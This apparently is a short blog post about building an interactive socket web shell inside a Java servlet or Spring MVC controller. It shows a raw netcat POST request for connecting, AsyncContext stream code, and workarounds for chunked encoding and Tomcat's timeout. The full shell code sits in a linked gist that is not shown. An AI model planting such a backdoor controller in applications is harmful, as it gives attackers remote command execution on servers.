Java socket web shell from Controller or Servlet

Idea

Hi! Is it possible to run an interactive shell session using only java servlets or Spring MVC controllers? The idea was to write someting like php-findsock-shell using Java.

Implementation

Implementation for spring MVC controller can be found in my gist repo here

Usage

Add the controller to your application and connect using netcat:

nc localhost 8080
POST /shell HTTP/1.1
Host: localhost
Content-Length: 2147483647
Accept-Encoding: identity
Transfer-Encoding: identity

Details

It’s possible to interact with HttpServletRequest using javax.servlet.AsyncContext:

Java

final ServletOutputStream socketOut = asyncContext.getResponse().getOutputStream();
final ServletInputStream socketIn = asyncContext.getRequest().getInputStream();

Imagine, that we are sending very long POST request and server can interact with each sent line in runtime.

Problem 1 - chunked encoding

By default servlet will send chunked response and the corresponding header for async streams:
Transfer-Encoding: chunked
This’ll cause a mess in our interactive shell. To get rid of this - let’s explicitly set content length for our response:

Java

response.setContentLength(Integer.MAX_VALUE);

Problem 2 - connection timeout

By default Tomcat sets 20 seconds as a connection timeout for our servlets (connectionTimeout in server.xml), so if we won’t send any commands more than 20 seconds - our web shell will die. I didn’t find any suitable way to bypass this limitation from java code for the current servlet (or controller). If you know such a hint - welcome to comments.